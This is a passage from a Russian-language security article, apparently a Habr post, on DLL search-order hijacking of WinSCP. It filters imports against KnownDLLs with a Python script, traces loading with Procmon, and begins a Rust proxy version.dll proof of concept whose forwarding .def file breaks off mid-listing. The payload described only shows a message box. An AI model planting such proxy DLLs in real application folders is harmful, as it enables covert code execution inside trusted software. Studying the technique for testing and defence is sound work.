\u0434\u0430\u043b\u044c\u0448\u0435 \u044f \u0441\u0432\u0435\u0440\u0438\u043b \u0432\u0441\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u044b \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 KnownDLLs \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435.<\/p>\n<pre><code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><strong>\u041b\u0438\u0441\u0442\u0438\u043d\u0433 1.<\/strong> \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 WinSCP.exe \u043f\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044e Known DLLs<\/p>\n<pre><code class=\"python\">import winreg, liefkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r'SYSTEM\\CurrentControlSet\\Control\\Session\\Manager\\KnownDLLs')known = {winreg.EnumValue(key, i)[1].split(',')[0].lower()         for i in range(winreg.QueryInfoKey(key)[1])}binary = lief.parse(r'WinSCP.exe')for imp in binary.imports:    dll = imp.name.lower()    if dll not in known and not dll.startswith('api-ms-'):        print(dll)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0440\u0435\u0435\u0441\u0442\u0440\u0443 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/3d\/dd\/40\/3ddd40e19fdf55a990c3b422172fd005.png\" alt=\"\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 WinSCP.exe \u043f\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044e Known DLLs\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/3d\/dd\/40\/3ddd40e19fdf55a990c3b422172fd005.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/3d\/dd\/40\/3ddd40e19fdf55a990c3b422172fd005.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 WinSCP.exe \u043f\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044e Known DLLs<\/figcaption><\/div>\n<\/figure>\n<p>\u0423\u0447\u0442\u0438\u0442\u0435: \u0441\u043f\u0438\u0441\u043e\u043a KnownDLLs \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u0441\u0431\u043e\u0440\u043a\u0438 Windows. <strong>\u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u043b\u0438 \u044d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0440\u0435\u0435\u0441\u0442\u0440 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435.<\/strong><\/p>\n<p>\u041f\u043e\u043d\u044f\u0442\u044c, \u0435\u0441\u0442\u044c \u043b\u0438 <code>.dll<\/code> \u0432 KnownDLLs, \u043c\u043e\u0436\u043d\u043e \u0438 \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<pre><code class=\"bash\">reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs\" \/v VERSION<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/f9\/03\/40\/f90340431e65c4a7feca102b9e21b4c6.png\" alt=\"reg query KnownDLLs \/v VERSION\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/f9\/03\/40\/f90340431e65c4a7feca102b9e21b4c6.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/f9\/03\/40\/f90340431e65c4a7feca102b9e21b4c6.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>reg query KnownDLLs \/v VERSION<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437 32 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0442\u0441\u0435\u0447\u044c 13. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 19 &#8212; \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>crypt32.dll<\/code>, <code>winhttp.dll<\/code>, <code>comctl32.dll<\/code> \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 &#8212; \u0443\u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u0432 \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435: \u043f\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u043d\u0435 \u0432\u0438\u0434\u043d\u043e, \u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.<\/p>\n<h3>2.3. \u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: Procmon<\/h3>\n<p>\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430, \u0432 \u043a\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0439\u0442\u0438 \u043a\u0430\u0436\u0434\u0443\u044e DLL \u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0451\u0442, \u0435\u0441\u043b\u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0451 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0444\u0430\u0439\u043b. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0442\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043f\u0443\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043e\u0442 \u0442\u0435\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0431\u0443\u043c\u0430\u0433\u0435.<\/p>\n<p><strong>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u044d\u0442\u0430\u043f\u0430 \u043e\u0442\u0431\u043e\u0440\u0430:<\/strong> \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 \u043d\u0430 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043f\u0430\u043f\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (<code>Result<\/code> = <code>NAME NOT FOUND<\/code>), \u0430 \u043f\u043e\u0442\u043e\u043c \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043b\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u043f\u0443\u0442\u0438, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u044b (<code>Operation<\/code> = <code>Load Image<\/code>).<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\"><strong>\u0424\u0438\u043b\u044c\u0442\u0440<\/strong><\/p>\n<\/th>\n<th>\n<p align=\"left\"><strong>\u0423\u0441\u043b\u043e\u0432\u0438\u0435<\/strong><\/p>\n<\/th>\n<th>\n<p align=\"left\"><strong>\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/strong><\/p>\n<\/th>\n<th>\n<p align=\"left\"><strong>\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/strong><\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Process Name<\/p>\n<\/td>\n<td>\n<p align=\"left\">is<\/p>\n<\/td>\n<td>\n<p align=\"left\">WinSCP.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Path<\/p>\n<\/td>\n<td>\n<p align=\"left\">ends with<\/p>\n<\/td>\n<td>\n<p align=\"left\">.dll<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e DLL-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Result<\/p>\n<\/td>\n<td>\n<p align=\"left\">is<\/p>\n<\/td>\n<td>\n<p align=\"left\">NAME NOT FOUND<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0430\u043b\u044b \u043f\u043e\u0438\u0441\u043a\u0430<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/9b\/eb\/94\/9beb9401070576f48de66f0d673f1a86.png\" alt=\"Procmon: NAME NOT FOUND \u0434\u043b\u044f version.dll \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/9b\/eb\/94\/9beb9401070576f48de66f0d673f1a86.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/9b\/eb\/94\/9beb9401070576f48de66f0d673f1a86.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>Procmon: NAME NOT FOUND \u0434\u043b\u044f version.dll \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0435 \u0432\u0438\u0434\u043d\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u0435 <code>Result = NAME NOT FOUND<\/code> \u0434\u043b\u044f \u043f\u0443\u0442\u0438 <code>C:\\Program Files (x86)\\WinSCP\\version.dll<\/code>. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u043f\u0435\u0440\u0432\u0430 \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u043d\u0430\u0439\u0442\u0438 DLL \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0435\u0451 \u0442\u0430\u043c \u0438 \u043b\u0438\u0448\u044c \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0441\u044f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u043f\u0430\u043f\u043a\u0430\u043c.<\/p>\n<p>\u042d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 <code>Load Image<\/code>: \u0432 \u0438\u0442\u043e\u0433\u0435 <code>version.dll<\/code> \u0431\u044b\u043b\u0430 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0437 <code>C:\\Windows\\SysWOW64\\version.dll<\/code>. \u0414\u043b\u044f 32-\u0431\u0438\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043d\u0430 64-\u0431\u0438\u0442\u043d\u043e\u0439 Windows \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 WOW64, \u043a\u043e\u0433\u0434\u0430 \u043f\u0443\u0442\u044c \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\"><strong>\u0424\u0438\u043b\u044c\u0442\u0440<\/strong><\/p>\n<\/th>\n<th>\n<p align=\"left\"><strong>\u0423\u0441\u043b\u043e\u0432\u0438\u0435<\/strong><\/p>\n<\/th>\n<th>\n<p align=\"left\"><strong>\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/strong><\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Process Name<\/p>\n<\/td>\n<td>\n<p align=\"left\">is<\/p>\n<\/td>\n<td>\n<p align=\"left\">WinSCP.exe<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">Operation<\/p>\n<\/td>\n<td>\n<p align=\"left\">is<\/p>\n<\/td>\n<td>\n<p align=\"left\">Load Image<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/5b\/7d\/d0\/5b7dd0d87013ba108aeb522d8dbe8051.png\" alt=\"Procmon: Load Image version.dll \u0438\u0437 SysWOW64\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/5b\/7d\/d0\/5b7dd0d87013ba108aeb522d8dbe8051.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/5b\/7d\/d0\/5b7dd0d87013ba108aeb522d8dbe8051.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>Procmon: Load Image version.dll \u0438\u0437 SysWOW64<\/figcaption><\/div>\n<\/figure>\n<h2>3. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430<\/h2>\n<p>\u041f\u043e \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 <code>version.dll<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u043c:<\/p>\n<ul>\n<li>\n<p>WinSCP.exe \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 \u0435\u0451 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435;<\/p>\n<\/li>\n<li>\n<p>\u043e\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Known DLLs &#8212; \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u044b\u0439 \u043f\u043b\u044e\u0441, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442\u043e\u0440;<\/p>\n<\/li>\n<li>\n<p>\u0443 \u043d\u0435\u0451 \u043e\u0447\u0435\u043d\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u043f\u043e\u0440\u0442\u0430: \u0432\u0441\u0435\u0433\u043e 3 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 (<code>GetFileVersionInfoSizeW<\/code>, <code>GetFileVersionInfoW<\/code>, <code>VerQueryValueW<\/code>). \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u043a\u0441\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0438 \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/p>\n<\/li>\n<\/ul>\n<p>\u0415\u0441\u043b\u0438 DLL \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0435\u0440\u0435\u0437 IAT, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0435\u0439 \u043f\u043e\u0434\u043d\u0438\u043c\u0435\u0442 \u043d\u0430\u0448\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0435\u0449\u0451 \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041f\u0440\u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e.<\/p>\n<h2>4. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f: DLL Proxy (Proof of Concept)<\/h2>\n<h3>4.1. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0440\u043e\u043a\u0441\u0438<\/h3>\n<p>\u041f\u0440\u043e\u043a\u0441\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0448\u0442\u0430\u0442\u043d\u043e\u0439 <code>version.dll<\/code> \u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 17 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0421\u0430\u043c \u0444\u0430\u0439\u043b \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043f\u0430\u043f\u043a\u0435 WinSCP, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0435\u0433\u043e \u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<p>\u0418\u0437 \u044d\u0442\u0438\u0445 17 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 14 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043b\u0438\u043d\u043a\u043e\u0432\u043a\u0438 \u0432 <code>C:\\Windows\\SysWOW64\\version.dll<\/code> (<code>linker-level forwarding<\/code>), \u0430 \u0435\u0449\u0451 3 &#8212; <code>GetFileVersionInfoSizeW<\/code>, <code>GetFileVersionInfoW<\/code> \u0438 <code>VerQueryValueW<\/code> &#8212; \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043d\u0430 Rust. WinSCP \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 payload \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0447\u0442\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/p>\n<pre><code>WinSCP.exe -&gt; version.dll (appdir) -&gt; \u043f\u0440\u043e\u043a\u0441\u0438    +-- 14 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432: linker forwarding --&gt; C:\\Windows\\SysWOW64\\version.dll    +-- 3 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430: Rust-\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 --&gt; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 --&gt; MessageBoxW<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h3>4.2. \u041f\u0440\u043e\u0431\u0440\u043e\u0441 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 .def<\/h3>\n<p><code>version.dll<\/code> \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 17 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0438 \u043f\u0440\u043e\u043a\u0441\u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0445 \u0432\u0441\u0435. \u0423 14 \u0438\u0437 \u043d\u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f forwarding \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043b\u0438\u043d\u043a\u043e\u0432\u043a\u0438: \u0441\u0442\u0440\u043e\u043a\u0430 <code>GetFileVersionInfoA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoA<\/code> \u0432 <code>.def<\/code>-\u0444\u0430\u0439\u043b\u0435 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u043d\u043a\u0435\u0440 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432 PE \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430, \u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u044d\u0442\u0438\u043c \u0443\u0436\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a &#8212; \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u043a\u043e\u0434\u0430. \u0415\u0449\u0451 \u0443 \u0442\u0440\u0451\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0446\u0435\u043b\u0438 \u0434\u043b\u044f forward \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u044f\u043c\u043e \u0432 \u043f\u0440\u043e\u043a\u0441\u0438 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432 <code>src\/lib.rs<\/code>.<\/p>\n<p><strong>\u041b\u0438\u0441\u0442\u0438\u043d\u0433 2.<\/strong> proxy.def &#8212; \u043f\u0440\u043e\u0431\u0440\u043e\u0441 14 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, 3 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 (\u0431\u0435\u0437 forward-\u0446\u0435\u043b\u0438)<\/p>\n<pre><code>LIBRARY versionEXPORTS    GetFileVersionInfoA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoA @1    GetFileVersionInfoByHandle=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoByHandle @2    GetFileVersionInfoExA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoExA @3    